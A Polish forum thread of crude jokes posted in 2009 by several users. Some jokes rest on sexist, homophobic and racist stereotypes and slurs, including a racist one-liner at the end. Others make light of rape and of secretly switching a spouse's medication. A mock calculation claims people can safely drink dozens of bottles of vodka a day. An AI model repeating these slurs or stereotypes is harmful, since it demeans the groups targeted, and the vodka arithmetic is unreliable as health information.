- Wystarczy! Chcę rozwodu!
- Dobrze - odpowiada mąż - ale zauważ, że po rozwodzie nie będzie już wycieczek do Paryża na zakupy, nie będzie wakacji na Karaibach, nie będzie Mercedesa w garażu i nie będzie weekendów na jachcie. Ale oczywiście możesz zrobić jak zechcesz.
W tym momencie żona zauważa ich wspólnego znajomego wchodzącego do restauracji z młodą, ładną dziewczyną:
- Kim jest ta dziewczyna obok Karola?
- To jego kochanka - informuje ją mąż.
- Nasza jest sympatyczniejsza.

Dany - 04-04-2009, 12:08

Stacja benzynowa na peryferiach Lublina.
Przy wjeździe na stację wisi baner reklamowy: "Kto kupi pełny bak paliwa,
ma prawo uczestniczyć w loterii! Wygrana - bezpłatny seks!"
Na stację podjeżdża polonez z dwoma mężczyznami. Tankują do pełna i po
drodze do kasy spostrzegają baner reklamowy. Pytają kasjera o zasady
loterii.
- Reguły są bardzo proste - odpowiada sprzedawca. - Wybieram w umyśle
jedną z cyfr - jeśli ktoś zgadnie co to za cyfra - wygrywa!
Kierowca
- Siedem!
Pracownik stacji benzynowej:
- Niestety, pomyślałem o cyfrze dwa. Proszę spróbować następnym razem.
....
Po dwóch tygodniach:
Kierowca
- Pięć
Sprzedawca:
- Niestety, pomyślałem o szóstce. Proszę spróbować następnym razem.
Mężczyzna odjeżdża i kręcąc głową zagaduje do pasażera:
- Do du*y taka loteria! Nic nie można wygrać! Może on po prostu oszukuje?
Pasażer:
- Nie, skądże! On nie oszukuje! W zeszłym tygodniu moja żona dwa razy
wygrała...
====================================================
Zastanawiali się na Ukrainie, co posadzić wokół Czarnobyla:
- Buraki.
- Nie, bo krowy pozdychają.
- No to może ziemniaki.
- Nie, bo się ludzi potruje.
- A to ch*j! Posadzimy tytoń, a na papierosach napiszemy MINISTER ZDROWIA
OSTRZEGA PO RAZ OSTATNI...
======================================================
Dwóch pięcioletnich chłopców sika w toalecie. Jeden mówi:
- Twój nie ma skórki na końcu!
- Byłem obrzezany.
- Co to znaczy?
- To znaczy, że obcięli mi skórkę na jego końcu.
- Ile miałeś lat, jak to zrobili?
- Moja mama mówi, że miałem dwa dni.
- Bolało?
- Czy bolało?! Nie mogłem chodzić przez rok!
=======================================================

jacekplacek - 05-04-2009, 06:03


Dany - 07-04-2009, 20:06

Zostałem aresztowany za zrobienie dowcipu w pracy.
Policja powiedziała, że to nieważne, czy to Prima Aprillis - to nadal jest gwałt.

************************************************************************

Spytałem dziś żony:
- Wczoraj w nocy, gdy się kochaliśmy, udawałaś...??
- Nie - odpowiedziała. - Naprawdę spałam.

hubert68 - 08-04-2009, 23:04

W samolocie:
Ladies and gentlemen this is your captain speaking. We will land on the water. Passengers, who can swim please prepare for swimming. Passengers, who cannot swim, thank you for your attention.
Dla nie “lenglydżujących”
Panie i panowie mówi wasz kapitan. Będziemy wodować. Pasażerowie potrafiący pływać, proszę przygotować się do pływania. Pasażerom nie potrafiącym pływać dziękujemy za uwagę.

Dany - 16-04-2009, 20:05

Jaka jest największa różnica między kobietami a mężczyznami??
- To, co mają na myśli, mówiąc: "Zużyłem/am całe opakowanie chusteczek oglądając ten film". :pigs:

FotoMiś - 17-04-2009, 17:29

Pan Prezydent RP wymknal sie ochronie i niezauwazony opuscil posiadlosc na Helu. Zlapal stopa i póznym popoludniem wyladowal we Wladyslawowie. Pochodzil troche po plazy, wydal 19,50 na pamiatki w straganach na deptaku az zrobil sie glodny. Ale zobaczyl, ze nie ma juz kasy. Szybko pomaszerowal na poczte wymachujac ksiazeczka oszczednosciowa PKO na której mial zadolowane cale 400 zl. Na poczcie okazalo sie jednak, ze nie wzial ze soba dowodu osobistego i panienka nie chciala mu wyplacic pieniedzy. Troche zly
powiedzial:
- Przeciez ja jestem Lech Kaczynski. Prezydent RP.
- Kazdy moze tak powiedziec - odparla panienka z okienka
- No ale jak mam pani udowodnic, ze ja to ja - nie dawal za wygrana Lechu
- Hmm - pomyslala panienka - Wie pan, kiedys byl tu Krzysztof Krawczyk i tez nie mial dowodu ale zaspiewal "parostatek" i wyplacilismy mu pieniadze. Innym razem Adam Malysz pokazywal jak sie laduje telemarkiem i tez uwierzylismy mu. Moze i Pan jakos nam udowodni, ze jest Pan Prezydentem.
- No nie wiem - odpowiedzial zly jak diabli Kaczynski - Przychodza mi do glowy jakies same durne pomysly.....
- Rozumiem, Panie Prezydencie.. - przerwala mu panienka - To w jakich nominalach mam wyplacic Panu te pieniadze?

Dany - 18-04-2009, 22:44

Facet przejeżdżający przez małe miasteczko w Teksasie wszedł do
miejscowego baru. Zamawiając piwo zauważył stojący za barem olbrzymich rozmiarów gliniany sagan wypełniony 10-dolarówkami. Zaintrygowany tą olbrzymią ilością pieniędzy zapytał, co to jest; wtedy otrzymał odpowiedź, że to zakład i kto wygra kasuje wszystko!
- Zakład? A o co się zakładacie?
- Tego nie mogę powiedzieć, wpierw musisz dołożyć 10$ do gara, a
wtedy się dowiesz. Bez namysłu wyjął 10$ i położył na stosie. Wtedy to barman
wyjaśnił, że sprawa jest w zasadzie prosta i trzeba wykonać trzy
zadania:
1. Wypić duszkiem kufel meksykańskiej Tequilli pieprzówki,
zaprawionej chili bez zrobienia najmniejszego grymasu.
2. Wejść w ogrodzenie na zapleczu baru, w którym jest bullterier
morderca i wyrwać mu gołymi rękoma obolały ząb, gdyż pies szaleje z bólu.
3. To już przyjemność: iść na pięterko i dać 92-letniej babci
orgazm, gdyż nigdy go nie zaznała!
Facet po usłyszeniu warunków stwierdził z przekąsem, że jeszcze
nie oszalał i już o nic więcej nie pytał.
Jednak po wypiciu kilku piw i whisky zawołał raptem:
- Dawaj ten kufel Tequilli!
Wypił duszkiem, zrobił się purpurowo-czerwony na twarzy, łzy mu
pociekły po policzkach, lecz mina mu nie drgnęła.
Po kilku minutach, gdy doszedł do siebie zapytał bełkocąc, gdzie
jest ten pies...
I chwiejnym krokiem wyszedł...
W barze zamarło, gdyż z podwórka słychać było przerażające odgłosy,
szczekanie, warczenie, wrzaski, łomot i na koniec wycie psa... I
cisza...
Kilka osób się przeżegnało - no zabił go!
W tym to momencie wszedł z powrotem do baru.
Ubranie miał w strzępach, cały był podrapany. Rozejrzał się
przekrwiony wzrokiem po obecnych i wybełkotał:
- No gdzie jest teraz ta babka, którą boli ząb?

[ Dodano: 18-04-2009, 23:00 ]
Mąż pracujący za granicą napisał do żony:

Kochanie,
Nie mogę wysłać ci wypłaty w tym miesiącu, więc przesyłam 100 całusów.
Jesteś moim skarbem.
Twój mąż,
Maniek

Jego żona odpowiedziała...

Mój najukochańszy,
Dziękuję za 100 całusów, poniżej jest lista kosztów...
1. Mleczarz zgodził się dostarczać mleko przez miesiąc za 2 całusy.
2. Elektryk zgodził się dopiero po 7 całusach..
3. Właściciel wynajmowanego przez nas mieszkania przychodzi
codziennie po 2 lub 3 całusy w zamian za koszt wynajmu.
4. Właściciel sklepu nie zgodził się na wyłącznie całusy, więc
dałam mu jeszcze inne rzeczy............
5. Inne wydatki - 40 całusów.
Nie martw się o mnie, Mam jeszcze 35 całusów i mam nadzieję, że to
mi wystarczy do końca miesiąca. A jak zabraknie to mam przeciez
jeszcze zupelnie niezla dupe w zanadrzu
Daj proszę znać jak mam planowac nastepny miesiac!!!

Twoja najdroższa,
Jola

[ Dodano: 22-04-2009, 16:55 ]
Przychodzi kobieta - karzeł do ginekologa i mówi, że strasznie ociera ją w kroku. Lekarz kazał jej sie położyć na fotelu i zbadał ją "dogłębnie"... Niestety, nic nie stwierdził.
- Jest pani zdrowa i prawidłowo zbudowana...
- Ale, panie doktorze to mnie ociera tylko w czasie deszczu!
- To prosze przyjść , kiedy bedą dolegliwości. Zobaczymy o co chodzi?
Nie minęło 5 dni i karlica zjawia sie okutana w pelerynę i z parasolem w dłoni.
- Panie doktorze, ja już nie wytrzymam! Strasznie dokucza mi to ocieranie...
Lekarz położył kobietę na fotel, obejrzał i przystapił do działania. Walczył z narzędziami około 15 minut, po czym powiedział, że już po bólu. Kobieta - karzeł zeszła z fotela, zrobiła kilka kroków i faktycznie, po dolegliwościach ani śladu.
- Panie doktorze! Jest pan cudotwórcą, co pan zrobił?
- Obciąłem pani kalosze.

Kaczyński u królowej brytyjskiej. Uroczysta kolacja w pałacu. W pewnym momencie ktoś wznosi toast za zdrowie królowej. Wszyscy wstają, tylko Kaczyński nie. Ktoś go szturcha, szepcąc:
- Panie Lechu, trzeba wstać, gdy jest toast za zdrowie królowej.
Na to Kaczyński:
- No przecież już pół godziny stoję!

qdlaty - 27-04-2009, 09:54

Logistic Manager usiadł w samolocie obok małej dziewczynki.
Manager zagadał do dziewczynki czy ma ochotę trochę z nim
porozmawiać.

Dziewczynka zamknęła spokojnie książkę którą czytała i powiedziała:
- ok. Bardzo chętnie. Więc o czym będziemy rozmawiać?
Manager na to :
- może o logistyce?
- OK - odpowiedziała - to bardzo interesujący temat. Mam
jednak pytanie: jak to się dzieje że koń, krowa i jeleń jedzą to samo,
czyli trawę. Jeleń wydala małe suche kuleczki, krowa duże, płaskie,
rzadkie placki, a koń wysuszone klumpy. Może potrafi mi Pan
wytłumaczyć co jest tego przyczyną?
- Nie mam pojęcia - odpowiedział manager po chwili zastanowienia.
Na to dziewczynka odpowiedziała:
- czy czuje się Pan zatem naprawdę wystarczająco kompetentny by
rozmawiać o logistyce skoro temat zwykłego gówna przekracza pańskie
możliwości...?

Dany - 04-05-2009, 23:37

|^^^^^^^^^^^^^^^| ||"""\
| ZIMNA WÓDKA |.||"""|\__
|_______________|_|I'__|___|)<
| (@)******(@)(@)***(@)**|



To jest samochód z zimną wódką, zadbałem o to by dojechał dziś do każdego!


Szklanka wódki ( 250 g ) zabija około 1000-2000 komórek nerwowych w naszym mózgu. Komórki nerwowe się nie regenerują. Ludzki mózg składa się z około

3 miliardów komórek nerwowych, z czego używamy na co dzień około 10% z nich.

Zatem około 2,7 miliarda komórek jest niepotrzebnych.



Szklanka wódki zabija 1000 komórek nerwo wych. Człowiek może bez obawy o swoje zdrowie wypić 2 700 000 szklanek wódki.



Przeliczamy:

1 butelka ( 750 g ) = 3 szklanki, zatem 2 700 000/3 = 900 000 butelek.



Zakładając, że maksymalny wiek przeciętnego alkoholika wynosi 55 lat, a zaczyna on pić, powiedzmy mając 15 lat, to mamy 40 lat stażu.



Przeliczamy lata na dni:

40 * 365 = 14600 dni picia.



Jeżeli możemy wypić 900 000 butelek bez obawy o nasze komórki nerwowe to:

900000/14600 = 62 butelki wódki dziennie!



Wniosek:

Aby umrzeć z braku komórek nerwowych musielibyśmy pić po

22 butelek wódki na śniadanie,

20 - na obiad i

20 - na kolację...





KAMIEŃ Z SERCA ! GORZAŁKA DLA WSZYSTKICH !

hexe - 12-05-2009, 13:14

http://www.joemonster.org/link/pokaz/9046 :pigs:
I - 12-05-2009, 17:12

Żona wysłała informatyka po zakupy:
– Idź do sklep, kup sałatę, rzodkiewki i śmietanę. Jeżeli będą jajka, kup majonez i koperek i wracaj szybko, bo zaraz przyjdą znajomi. –
Mąż już nie wrócił... nie było jajek...

Dany - 12-05-2009, 21:43

Ostatnio pojawiła się możliwość płacenia komórką za przejazd pociągiem do Wołomina. Jeden przejazd - jedna komórka.
hexe - 13-05-2009, 02:56

Prawdy życiowe

1. Nie dyskutuj z gościem, który ma nad tobą pół litra przewagi...

2. Jeśli się boisz utyć, wypij przed jedzeniem setkę. To usunie uczucie

strachu.

3. Życie jest jak bieg na sto metrów - będziesz się spieszyć, prędzej

znajdziesz się na mecie.

4. Życie to chytra sztuka. Kiedy masz wszystkie karty w ręku, zaczyna

grać z tobą w szachy.

5. Jak mawiają daltoniści: Życie jest jak tęcza: raz białe, raz czarne.

6. Optymiści wierzą, że świat stoi przed nimi otworem. Pesymiści wiedzą,

gdzie ma ten otwór.

7. Regulacje są dla idiotów. Geniusze potrafią żyć w chaosie.

8. Najlepsze w dwuznacznej propozycji jest to, że oznacza tylko jedno.

9. Myślę, że jestem, więc jestem. Tak myślę.

10. Nie dostaniesz drugiej szansy, by zrobić dobre pierwsze wrażenie.

11. Człowiek 30% swego życie przesypia; przez pozostałe 70% marzy, żeby

się wreszcie wyspać.

12. Kobieto! Akceptuj mężczyzn takimi, jacy są. Innych nie ma.

13. Im większe piersi, tym trudniej zapamiętać twarz.

14.Matematyka jest jak kobieta. Trzeba ją umieć wykorzystać, a nie

zrozumieć.

15. Kobiety nie można zmienić. Można zmienić kobietę, ale to niczego nie

zmienia.
16. Blondynka jest przeciwieństwem psa. Pies wszystko rozumie, ale nie

może nic powiedzieć.

17. Statystycznie kobiety żyją dłużej od mężczyzn, bo nie mają żon

Dany - 13-05-2009, 21:29

Modlitwa kobiety przed posiłkiem: "I spraw, Panie Boże, by te wszystkie
kalorie poszły w cycki!"

hubert68 - 18-05-2009, 14:05

Z pamiętnika dojrzałej mężatki (czyli: "I jak tu dogodzić kobiecie...")



Dzień 1.

Dzisiaj była 10 rocznica naszego ślubu. Świętowania to tam za

dużo nie było.

Kiedy nadszedł czas, by powtórzyć nasza noc poślubną,

Zdzisław zamknął się w łazience i płakał.



Dzień 2.

Zdzisław wyznał mi swój największy sekret. Powiedział, że

jest impotentem. Też mi odkrycie! Czy on naprawdę myślał, że

tego nie zauważyłam już pięć lat temu? Dodatkowo przyznał

się, że od paru miesięcy bierze Prozac.



Dzień 3.

Chyba mamy małżeński kryzys. Przecież kobieta też ma swoje

potrzeby! Co mam robić?!



Dzień 4.

Podmieniłam Prozac na Viagrę, nie zauważył... połknął...

czekam niecierpliwie...



Dzień 5.

BŁOGOŚĆ! Absolutna błogość!



Dzień 6.

Czyż życie nie jest cudowne? Trochę trudno mi pisać, gdyż

ciągle to robimy.



Dzień 7.

Wszystko mu się kojarzy z jednym! Ale muszę przyznać, że to

jest bardzo zabawne - wydaje mi się, że nigdy przedtem nie

byłam taka szczęśliwa.



Dzień 8.

Chyba wziął zbyt dużo pastylek przez weekend. Jestem cała

obolała.



Dzień 9.

Nie miałam kiedy napisać...



Dzień 10.

Zaczynam się przed nim ukrywać. Najgorsze jest to, że popija

Viagrę whisky! Czuje się kompletnie załamana... Żyję z kimś

kto jest mieszanka Murzyna z wiertarka udarowa..



Dzień 11.

Żałuję, że nie jest homoseksualista! Nie robię makijażu,

przestałam myć zęby, ba - nawet już się nie myję. Na nic!!

Nie czuję się bezpieczna nawet kiedy ziewam... Zdzisław

atakuje podstępnie! Jeżeli znów wyskoczy z tym swoim...

"Oops, przepraszam", chyba zabiję drania.



Dzień 12.

Myślę, że będę musiała go zabić. Zaczynam trzymać się

wszystkiego, na czym usiądę. Koty i psy omijają go z daleka,

a nasi przyjaciele przestali nas odwiedzać.



Dzień 13.

Podmieniłam Viagrę na Prozac, ale nie zauważyłam specjalnej

różnicy... Matko! Znów tu idzie!



Dzień 14.

Prozac skutkuje! Przez cały dzień siedzi przed telewizorem z

pilotem w ręce, zauważa mnie tylko kiedy podaje jedzenie lub

piwo...

BŁOGOSĆ!! Absolutna błogość!

Dany - 19-05-2009, 16:37

On Ona przed ślubem:

Ona: Cześć!

On: No nareszcie, już tak długo czekam!

Ona: Może chcesz, żebym poszła?

On: Nie! Co ci przyszło do głowy?

Ona: Kochasz mnie?

On: Oczywiście o każdej porze dnia i nocy!

Ona: Czy mnie kiedyś zdradziłeś?

On: Nie! Nigdy! Dlaczego pytasz?

Ona: Chcesz mnie pocałować?

On: Tak, za każdym razem i przy każdej okazji!

Ona: Czy byś mnie kiedykolwiek uderzył?

On: Zwariowałaś? Przecież wiesz, jaki jestem!

Ona: Czy mogę ci zaufać?

On: Tak...

Ona: Kochanie...



Siedem lat po ślubie: czytajcie od dołu w górę

qdlaty - 20-05-2009, 12:44

Zięć z teściową oglądają deszcz meteorytów.

Zięć pomyślał życzenie, teściowa nie zdążyła....

;)

breath - 20-05-2009, 16:06

- Znamy sie już tak długo. Czy nie powinieneś przedstawić mnie swojej rodzinie?
- Jak sobie życzysz. Ale w tym tygodniu to jest niemożliwe. Żona z dziećmi wyjechała do teściów.

Xxxxx

Raz do rzeźni, rzeczki brzegiem
sześć prosiątek szło szeregiem.
Z drugiej strony szło dziewczęcie
i o dziwo też na rżnięcie.

Xxx xxx

Woody Allen:

"Masturbacja to seks z kimś kogo naprawdę kochasz."

"Seks jest jak gra w brydża. Jeżeli nie masz dobrego partnera to musisz mieć przynajmniej dobrą rękę."

"Dla ciebie jestem ateistą, dla Boga - konstruktywną opozycją."

"Gdyby tylko Bóg dał mi jakiś jasny znak! Na przykład złożył solidny
depozyt w szwajcarskim banku na moje nazwisko."

"Jeśli chcesz rozśmieszyć Boga, opowiedz mu o twoich planach na
przyszłość."

"Wierzę, że tam w górze jest coś, co czuwa nad nami. Niestety, jest to rząd."

"Nie uznajesz żadnych wartości, całe twoje życie to nihilizm, cynizm,
sarkazm i orgazm. We Francji mógłbyś zrobić z tego hasło wyborcze i
wygrać."

"Życie jest pełne nieszczęścia, samotności i cierpienia - i do tego
kończy się o wiele zbyt wcześnie."

"Achilles miał tylko piętę Achillesa. Ja mam całe ciało Achillesa."





Co mają wspólnego blondynka i Gorbaczow?
- Oboje zostali wyruchani przez dziesięciu facetów będąc na wakacjach.
A jaka jest między nimi różnica?
- Gorbaczow wie, kim byli ci faceci.

Xxxxx

Przed automatem z wodą sodową stoi blondynka. Wrzuca monetę, czeka aż szklanka napełni się wodą, wypija, wrzuca monetę i tak bez końca.
Ludzie stojący za nią w kolejce niecierpliwią się.
- Niech się pani pośpieszy!
- Nie ma głupich, ja cały czas wygrywam!



Xxxxx

Dlaczego blondynka spuszcza oczy, gdy chłopak mówi, że ją kocha?
- Żeby zobaczyć, czy to prawda.

Dany - 20-05-2009, 17:49

Spotykają się trzy rozwódki: Amerykanka, Rosjanka (jeszcze z ZSRR) i Polka wspominają swoje rozwody.

Amerykanka mówi:"

Mój Johnny - jak mnie zdradził -niczego się nie spodziewał. udawałam, że o niczym nie wiem, ale wynajęłam prywatnego detektywa. Detektyw zarobił mu mnóstwo zdjęć, ja te zdjęcia wzięłam na uroczystość jego urodzin i wręczyłam mu je jako prezent przed wszystkimi członkami klubu golfowego.

Musiał w dowód przeprosin przepisać na mnie udziały w fabryce konserw,

akcje z pól naftowych i naszą posiadłość w Nebrasce.

Jak mnie drugi raz zdradził, to znów wynajęłam prywatnego detektywa ten narobił zdjęć, ja te zdjęcia wzięłam i zaniosłam na zebranie zarządu jego spółki. To go wykopali z zarządu. Na przeprosiny musiał przepisać na mnie naszą posiadłość, kolekcje klejnotów rodzinnych, stadninę koni i resztę akcji. A jak mnie trzeci raz zdradził, to się rozwiodłam, bo to przecież wstyd z takim gołodupcem żyć.

Na to mówi Rosjanka:

Witja - jak mnie pierwszy raz zdradził, to wzięłam starą Soczkinę ta go spiła, przesłuchała . o wszystkim mi powiedziała. No to poszłam do jego brygadzisty i poskarżyłam mu się. Wytknęli go palcami na zebraniu aktywu robotniczego, zmusili do samokrytyki i publicznego przyrzeczenia poprawy. Jak mnie drugi raz zdradził, to napisałam skargę na okręgowy zjazd partii - to go wyrzucili z partii. A jak mnie kolejny raz zdradził, to się musiałam rozwieść, bo to wstyd z bezpartyjnym żyć.

Na to Polka:

Jak mnie mój Franek pierwszy raz zdradził, to ja go dwa razy.

Jak mnie drugi raz zdradził, to ja go cztery razy

Ale jak mnie trzeci raz zdradził, to musiałam się rozwieść, bo przez tego palanta przecież k...rwą bym została.....

[ Dodano: 29-05-2009, 17:57 ]
Czterech kumpli spotyka się po wielu latach. Zaczynają opowiadać o starych czasach. W międzyczasie jeden z nich idzie zamówić coś do picia, natomiast pozostali zaczynają rozmawiać o swoich synach.
Pierwszy mówi:
- Jestem taki dumny z mojego syna. Zaczął pracę jako goniec, wieczorowo skończył studia. Po paru latach został dyrektorem, a następnie prezesem firmy. Stał się taki bogaty, że swojemu   przyjacielowi na urodziny podarował super luksusowego Mercedesa.
Drugi opowiada:
- Ja też jestem bardo dumny z mojego syna.Zaczął pracę jako steward w samolocie. Po niedługim czasie stał się pilotem. Założył spółkę z paroma wspólnikami I otworzył własne linie lotnicze. Â Dzisiaj jest tak bogaty, że swojemu przyjacielowi na urodziny podarował mały samolot dwusilnikowy Cessna.
Trzeci opowiada:
- Nie wyobrażacie sobie jaki ja jestem dumny z mojego. Studiował inżynierię. Otworzył firmę Â budowlaną I zarobił miliardy. Pomyślcie, że na urodziny swojego przyjaciela podarował mu cudowną willę 1500 m kw. z basenem.
W międzyczasie wraca czwarty kumpel I pyta o czym rozmawiali. Odpowiadają, że o synach pytając go o jego syna. Czwarty kumpel na to:
- Moj syn jest gejowskim żygolakiem. Utrzymankiem bogatych gayów. W ten sposób zarabia na życie!!!
Przyjaciele na to:
- Biedaczek, jakie to nieszczęście!!!
Czwarty kumpel:
- Jakie tam nieszczęście, cudownie mu się żyje!!! Wyobraźcie sobie, że w tym roku na urodziny od swoich trzech klientów-pedałów dostał: mercedesa, prywatny samolot I willę z basenem!... A Wasi synowie co robią ciekawego?

[ Dodano: 02-06-2009, 20:28 ]
Klient w domu publicznym nie był zadowolony z usług jednej z pracownic i wzbraniał się zapłacić pełną należność. Jako że nie najmłodsza już panienka nalegała i nie była skłonna do ugody, spór znalazł swój finał przed sądem. Prowadzący sprawę sędzia już na wstępie stwierdził lekko strapiony:
- Szanowni Państwo, mamy pewien problem. Dzisiaj mamy u nas w sądzie "Dzień otwartych drzwi" i za chwilę pojawi się tu na sali wycieczka z gimnazjum. W związku z tym proszę, ze względu na młodzież, o założenie, że dzisiejsza sprawa ma charakter nie obyczajowy a mieszkaniowy. Czyli, mówiąc krótko, chodzi o lokal do wynajęcia...
Stronom procesu nie pozostaje nic innego jak zgodzić się z Sugestią sędziego i już po chwili, w obecności młodzieży, zaczyna się przesłuchanie stron. Zagaja sędzia:
- Oskarżony, proszę nam wyjaśnić, dlaczego nie uiścił pan opłaty za wynajęty lokal?
- Proszę Wysokiego Sądu - tłumaczy klient - wbrew zapewnieniom wynajmującej okazało się, że chodzi tu o zaniedbany lokal w starym budownictwie, o typowo dużym metrażu i nadmiernej wilgoci.
- To są znaczące zarzuty - posumował sędzia - co druga strona na to?
- Proszę sądu - zaczęła prostytutka - to że mój lokal to żadna "nówka" to widział lokator jeszcze przed wprowadzeniem. Ale wypraszam sobie mówić tu o jakiejś ruinie!. Wilgoć pojawiła się już po tym jak lokator się wprowadził ,a zarzut że lokal zbyt obszerny to czysta kpina. Widział kto za duże mieszkanie?! Po prostu meble za małe ze sobą przytaszczył!!!

martuchagd - 15-06-2009, 21:24

Po Morzu Czerwonym płynie statek z nurkami. Na pokladzie sielanka, nurkowie opalają się, drzemią w słońcu. Nagle kapitan melduje, ze statek zaczyna tonąć i najpóźniej za 30 min będzie na dnie. Instruktor CMAS do swoich podopiecznych: "Skałdamy szybciutko sprzęt, pompujemy kamizelki i do wody... Instruktor PADI do swoich podopieczynch: "Macie dzisiaj wielkie szczęście. Za jedyne 100US możecie zrobić specjalizację wrakową...
Tyran - 15-06-2009, 21:57

Od kilku lat, każdy młody porządny P1 słyszy to od swojego instruktora by podbudować swoje nurkowe ego.. także.. stare!!! ;)
Dany - 16-06-2009, 18:20

To ja coś na rozładowanie CMAS-owsko PADI-jskiej atmosfery

Nie ma jak u babci ...


- No masz, zjedz kotlecika za babcie.
- ...
- No prosze, pól ogóreczka za tate.
- ...
- I jeszcze kawalek kielbaski za mame.
- Kur.a babciu! Ja juz mam 30 lat, sam potrafie jeść!!!
- Sam, sam ... I nie klnij !!! Wiem, ze masz 30 lat i strasznie
mnie wkur.ia jak pijesz i nie zagryzasz !!!

[ Dodano: 16-06-2009, 21:20 ]
Bogdan baraszkował w najlepsze z kochanką, gdy usłyszał, że
samochód jej męża wjeżdża na podjazd.
Niewiele myśląc złapał swoje ubranie i wyskoczył przez okno, mimo
że nazewnątrz padał deszcz. Traf chciał, że ulicą przebiegał
właśnie maraton. Bogdan postanowił dla niepoznaki dołączyć do
zawodników.
- Zawsze biegasz nagi? - zapytał go po przebiegnięciu kilku
kilometrów jeden z biegaczy.
- Tak - odparł Bogdan. - Czuję się wtedy naprawdę wolny, a powiew
wiatru przyjemnie chłodzi moją skórę.
- To dlaczego biegniesz z ubraniem pod pachą? - dopytuje się
sportowiec.
- Po zakończonym biegu mogę od razu ubrać czyste ciuchy - wyjaśnił
Bogdan.
- A zawsze biegasz z nałożoną prezerwatywą? - zapytał zawodnik.
- Nie, tylko kiedy pada.../

jacekplacek - 18-06-2009, 08:28

Co musi zrobić łysy,żeby podrapać się po włosach?
-Dziurę w kieszeni.

Wiesz co górnik dostaje po śmierci?
- trzy dni urlopu,a potem z powrotem pod ziemię.

Kto to jest ginekolog?
-To jest facet,Który szuka problemów tam ,gdzie inni szukjają radość.

Jaka jest różnica między dziewicą a rencistką?
-Żadna.Obie czekają na pierwszego.

Jakie są dwa zwięrzeta,które istnieją,ale nie żyją?
-Koza z nosa i bąk z du... .

Dlaczego dziewice noszą czarne majtki?
-Żeby im się błona nie prześwietliła.

Dlaczego blondynka siedzaca w wiezieniu zbiera butelki? - Bo chce wyjsc za kaucja.

*****
Jak sie mowi potocznie o facecie z malymi jajami ? - Facet z ikra.

*****
Siedzą dwaj uczniowie:
- Wiesz, czasem ogarnia mnie wielka ochota, żeby się pouczyć.
- I co wtedy robisz?
- Czekam, aż mi przejdzie


Bandyta wchodzi do banku, kradnie pieniądze z kasy po czym podchodzi do jednego z klientów i pyta:
- Widziałeś co zrobiłem?
- Tak i mam zamiar zadzwonić na policję.
Złodziej przyłożył mu pistolet do głowy i go zastrzelił. Podszedł do następnego klienta z tym samym pytaniem na co ten odpowiada:
- Nic nie widziałem i nic nie słyszałem, ale moja żona widziała.

jacola - 18-06-2009, 19:43

Bacowa bzyka się z bacą.W najbardziej nieodpowiednim momencie mówi:
-baco gniewom się
-na co się gniewocie- pyta zdziwiony baca
-nie na co,ino wom się gnie...

Dany - 19-06-2009, 00:53

Programista rozmawia ze swoimi przyjaciółmi po fachu:
- Wczoraj w nocnym klubie poznałem świetną blondynę!
- Och Ty szczęściarzu!
- Zaprosiłem ją do siebie, wypiliśmy trochę, zacząłem jądotykać?...
- I co? I co?
- No a ona mówi: "Rozbierz mnie!"
- Nie może być??!!!
- Zdjąłem z niej spódniczkę?, potem majteczki, położyłem na stole tuż
obok laptopa...
- Nie pie...l ! Kupiłeś? laptopa? A procesor, jaki?

[ Dodano: 19-06-2009, 00:54 ]
Wygląda dżdżownica z ziemi, a tu obok druga.
- Dzień dobry!
- Co, dzień dobry!? Własnej dupy nie poznajesz?!

[ Dodano: 19-06-2009, 00:55 ]
Na poboczu autostrady super hiper blondyna w super hiper mini wypina
swoją super hiper pupę wymieniając koło w swoim super hiper
samochodzie.
Zatrzymuje się policjant i najdelikatniej jak umie zwraca uwagę:
- Rozumiem, że jest Pani zdenerwowana, ale stoi Pani niebezpiecznie
wyeksponowana na poboczu drogi, a ja cóż nie widzę trójkąta.
- No.. bo.. ja.. mam wydepilowany - odpowiedziało zarumienione
dziewczę.

[ Dodano: 19-06-2009, 00:56 ]
Żona pyta męża:
- Józek, będziesz jadł tą zupę? Bo jak nie, to doleję śmietany i psu
zaniosę.

[ Dodano: 19-06-2009, 00:58 ]
Siedzi dwóch dresów na ławeczce i jeden do drugiego mówi:
- Wczoraj siedzę dokładnie na tej ławce, a na tej na przeciwko piękna
dupeczka.
Nagle ona do mnie oczko. To i ja do niej oczko.
Nagle ona trzepocze rzęsami. To i ja próbuję.
Nagle ona macha ręką, żeby podszedł. No to podszedłem (albo lepiej
podeszłem)
I wtedy ona zaczyna mnie jęzorkiem smyrać. To i ja ją smyram.
W końcu odrzuca torebkę i mówi: zrób mi to, co potafisz najlepiej mój
ogierze!
- I co, i co? - pyta kolega....
- I nic. Wyje.ałem jej z dyni....

[ Dodano: 19-06-2009, 01:00 ]
Był we wsi kowal który jedną ręką trzy podkowy gniótł.
Od kilku dni ktoś okradał jego sad, wiec był bardzo wściekły i postanowił
zaczaić sie na winowajcę.
Nadszedł wieczór i nagle kowal dostrzegł kogoś!
Krzyczy!
- stój złodzieju!
Rabuś próbował wspiąć sie na drzewo ale kowal był szybszy i zdążył go
złapać za jajca.
I mówi tak:
- mów ktoś ty albo ci jajca urwę!
Cisza
Zacisnął wiec mocniej dłoń i mówi :
-Jak nie powiesz to będziesz bez jajec!
Cisza
Zacisnął wiec tak mocno jak te podkowy gniecie i pyta jeszcze raz:
ktoś ty!!!
Nagle w ciemności słychać cieniutki głosik:
- Jaaasiu
Na to kowal:
- Jaki Jasiu we wsi wielu Jasiów?!
- Jaaasiu nieeemowa!!!

*Konrad* - 20-06-2009, 16:50

Wysoko w górach, hen wysoko w lodowej grocie siedzą dwa straszliwe Yeti i
obgryzają kosteczki.
Mniejszy straszliwy Yeti przerywa na chwilę i pyta większego:
- Tato, a powiedz mi, po co my się tak ukrywamy przed człowiekami, co? Są
takie małe! Przecież i tak je w końcu zjadamy, tak? Dlaczego napadamy na
nich od tyłu?
- Bo widzisz, synku - odpowiada większy straszliwy Yeti dokładnie
oblizując palce - lepiej smakują nieobsrane...

[ Dodano: 21-06-2009, 21:51 ]
Jeśli musisz włączyć komputer w celu rozproszenia nudy w samolocie postępuj zgodnie z poniższym schematem:
1. Wyjmij laptopa z torby i połóż na kolanach;
2. Powoli i spokojnie otwórz go;
3. Włącz;
4. Upewnij się, że osoba obok patrzy na twój ekran;
5. Włącz Internet Explorer;
6. Zamknij oczy, wznieś głowę ku niebu i poruszaj bezgłośnie wargami;
7. Weź głęboki wdech i kliknij na następujący link:
http://www.thecleverest.com/countdown.swf
8. Widok miny osoby siedzącej obok i zaglądającej CI przez ramie -
* b e z c e n n y *

martin - 22-06-2009, 16:27

Wzorzec murzyńskiej urody: wargi do piersi, piersi do wargi a wargi do kolan.
